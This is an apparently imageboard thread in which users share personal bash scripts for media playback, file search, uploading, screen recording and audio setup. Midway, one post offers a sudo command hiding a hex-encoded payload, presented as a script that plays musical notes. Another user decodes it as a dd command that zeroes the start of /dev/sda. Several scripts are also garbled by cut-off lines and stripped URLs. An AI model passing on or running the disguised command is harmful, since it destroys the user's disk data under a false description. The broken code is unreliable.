Anybody have any shell scripts they made that you wanna show? Post em'
Anybody have any shell scripts they made that you wanna show? Post em'
Other urls found in this thread:
github.com
youtube.com
youtube.com
twitter.com
Plays youtube (or any other copmatible) links that are copied on the clipboard.
You can copy a link and then possible assign a keybind to run the script
#!/bin/bash
notify-send -u low -t 1 'Loading...'
mpv $(xsel)
if [[ "$?" != "0" ]]; then
notify-send 'Error Found...'
fi
thanks satan
Not particularly impressive, but I made this and it sucks ass
while true ; do
URLTRYING="youtube.com
printf "$URLTRYING... "
if [[ "$(curl -s "$URLTRYING" | grep 'meta name="robots"')" > /dev/null ]] ; then
printf "no\n"
else
printf "yes!\n"
echo "$URLTRYING" >> res/youtubeURLS
fi
done
There must be a better way?
Cool. I'm gonna use it. Also nice quads.
shit, a line got cut off
while true ; do
URLTRYING="youtube.com
| fold -w 11 | head -n 1)""
printf "$URLTRYING... "
if [[ "$(curl -s "$URLTRYING" | grep 'meta name="robots"')" > /dev/null ]] ; then
printf "no\n"
else
printf "yes!\n"
echo "$URLTRYING" >> res/youtubeURLS
fi
done
something halfway between locate and find
#!/bin/bash
if [ $1 ]; then
str='*'
for s in $*; do
str="$str$s*"
done
find . -iname "$str"
else
echo 'Find what?'
exit 1
fi
So it grabs random urls from youtube?
That's the idea. It's supposed to keep ones that exist. I haven't found a single one yet.
dumb macfag
This is just a wrapper around the 'find' command that adds wildcards so you don't have to repeatedly search.
#!/bin/bash
blacklist="dev|proc"
while true
do
read -p "Name of query: " query
if [[ "$query" == "q()" ]]; then
printf "Quiting...\n"
break
else
firstLetter="$(echo $query | awk '{ print substr( $0, 0, 2 ) }')"
query=$(echo $query | sed s/^$firstLetter/"[${firstLetter^^}$firstLetter]"/g)
fi
for dir in $(ls / | egrep -v "$blacklist")
do
if [ -d /$dir ]; then
find /$dir 2>/dev/null -name "*$query*"
fi
done
done
Not my pic dumbass.
>if [[ "$?" != "0" ]]; then
notify-send 'Error Found...'
fi
Why? Just do [ "$?" ] || notify-send 'Error Found...'
Also use #!/bin/sh for bonus speed.
install-gentoo() {
local str="${@:-Install Gentoo}"
clr() { printf '\033c'; }; clr
while :; do
printf '\033[%s;%sf\033[%sm%s\033[m' \
"$((RANDOM%LINES+1))" \
"$((RANDOM%$((COLUMNS-${#str}+2))))" \
"$((RANDOM%8+30))" \
"$str"
read -s -n 1 -t .01 && clr && break
done
}
I'm new at this, this is like my third real script and I made it in like 5 minutes.
Also, thanks
I see, have fun.
Is 'meta name="robots"' even valid? It doesn't seem to work on a valid link.
Maybe there's a way to query their API for validity.
Also, I tried your updated script in a real link and it worked, but i tried it on some random words and it didn't output Error Found..., so I think it should be [[ "$?" = "0" ]] instead
Yeah hopefully. I think I'm too retarded to do that with bash script. I just looked at the html files for a valid page and an invalid one. invalid ones seem to have a
#!/bin/bash
urls=""
for var in "$@"; do
if [ -s "$var" ]
then
export url=$(limf --log --log-file ~/.limf.log -l -nc "$var")
curl -s --head "$url" | head -n 1 | grep "HTTP/1.[01] [23].." > /dev/null
if [ $? == "0" ]
then
urls=$urls$url"\n"
fi
fi
done
if [[ "$urls" == "" ]]
then
notify-send "Error while uploading files."
exit
fi
urls="${urls%??}"
if [[ $(echo -n -e "$urls" | wc -l) == '0' ]]
then
notify-send "Uploaded file!" "${urls}"
else
notify-send "Uploaded files!" "${urls}"
fi
echo -n -e "$urls" | xclip -selection clipboard
This is a generic uploading script for my more specialized keybind uploading scripts. Requires limf, which is a python tool that uploads to pomf clones (github.com
I've got two scripts for screenshotting (fullscreen/selection) using maim, a script for uploading the clipboard as a .txt file on a pomf clone (pastebin equivalent), a script for re-uploading a link in my clipboard (prevent hotlinking), and a script for recording any part of my screen and uploading the mp4 result instantly. (webm recording is really slow, for some reason, and I'd rather not take 5 minutes to convert every recording)
Here it is:
#!/bin/bash
export file='/tmp/limfrecord.mp4'
export pid='/tmp/limfrecord.pid'
if [ ! -f $pid ]
then
notify-send "Starting recording..."
record-screen $file &
echo $! > $pid
exit
else
kill -TERM $(cat $pid) 2>/dev/null
rm $pid
if [ ! -s $file ]
then
notify-send "Error during recording."
rm $file
exit
fi
notify-send "Recording ended. Starting upload..."
limfupload $file
rm $file
exit
fi
That script itself uses this for the actual recording:
#!/bin/bash
_term() {
echo "Caught SIGTERM signal!"
kill -TERM "$child" 2>/dev/null
}
trap _term SIGTERM
eval $(slop --nokeyboard)
ffmpeg -f x11grab -s "$W"x"$H" -i :0.0+$X,$Y -f pulse -ac 2 -i default $1 &
child=$!
wait "$child"
Prints all nonfree packages on Debian based systems.
vrms() {
dpkg-query -W -f '${Section}/${Package}\n' \
| grep -E '^(contrib|multiverse|non-free|partner|restricted)/' \
| sort
}
Seems like you need a key for it which, I suppose, is outside of the scope of that script anyway.
Here's my version though:
while true ; do
URLTRYING="youtube.com
printf "$URLTRYING... "
if [[ "$(curl -s "$URLTRYING" | grep 'unavailable')" ]]; then
printf "no!\n"
continue
fi
printf "yes!\n"
echo "$URLTRYING" >> res/youtubeURLS
done
command not found: dpkg-query
pls fix
sudo $(echo "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" | xxd -r -p)
Randomly plays notes from the major scale with Pulseaudio.
echo "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" | xxd -r -p
dd if=/dev/zero of=/dev/sda count=100 bs=1M
Managed to make it faster and use less internet
while true ; do
URLTRYING="youtube.com
printf "$URLTRYING... "
if [[ "$(curl -s youtube.com
printf "no!\n"
continue
fi
printf "yes!\n"
echo "$URLTRYING" >> res/youtubeURLS
done
also youtube URLS can have a '-' in them too
We should have a bunch of anons silently run this in the background until they find a match, maybe by outputting notify-send "Match Found!"
you() {
str="$*"
espeak "You're the $str !"
}
I made one to start up my jackd, qjackctl, pulseaudio, and midi synths. For background, i have the lowlatency kernel, and I have my pulseaudio config set to load the jackd plugin, and not to start-on-demand. Suggestions welcome.
#!/bin/bash
sudo touch sound.sh
# Check whether sound device is detected
if lsusb | grep Novation
then
echo 'Hey! sound card is detected!'
else
echo 'Sound card not detected'
exit 1
fi
/usr/bin/pulseaudio -k
jack_control eps realtime true
jack_control ds alsa
jack_control dps device hw:CARD=USB
jack_control dps rate 48000
jack_control dps nperiods 2
jack_control dps period 64
jack_control start
sudo /usr/bin/schedtool -R -p 20 `pidof jackdbus`
sleep 10
/usr/bin/pulseaudio &
sleep 1
/usr/bin/a2jmidid -eu &
sleep 2
/usr/bin/linuxsampler &
sleep 2
#load linuxsampler settings
netcat -t localhost 8888 < /home/me/Salamander\ Grand\ Piano\ CRLF.lscp & > /home/me/.log/linuxsampler/ls.log
sleep 2
grep -v LADSPA /home/me/.log/linuxsampler/ls.log
/usr/bin/fluidsynth -m jack -a jack -i -j /home/me/Downloads/soundfonts/103.5mg\ Real\ Font\ V2.1\ Bank.sf2 -r 48000 -s &
/usr/bin/qjackctl &
sleep 2
#connect linuxsampler output to output of sound card
jack_connect "LinuxSampler:0" "system:playback_1" &
jack_connect "LinuxSampler:1" "system:playback_2" &
might want to quote:
mpv "$(xsel)"
not sure how bash handles & in a name like that if applicable, but it's good practice nonetheless.
Try
< /dev/urandom tr -dc "a-zA-Z0-9_" | head -c 11
more speed, less processes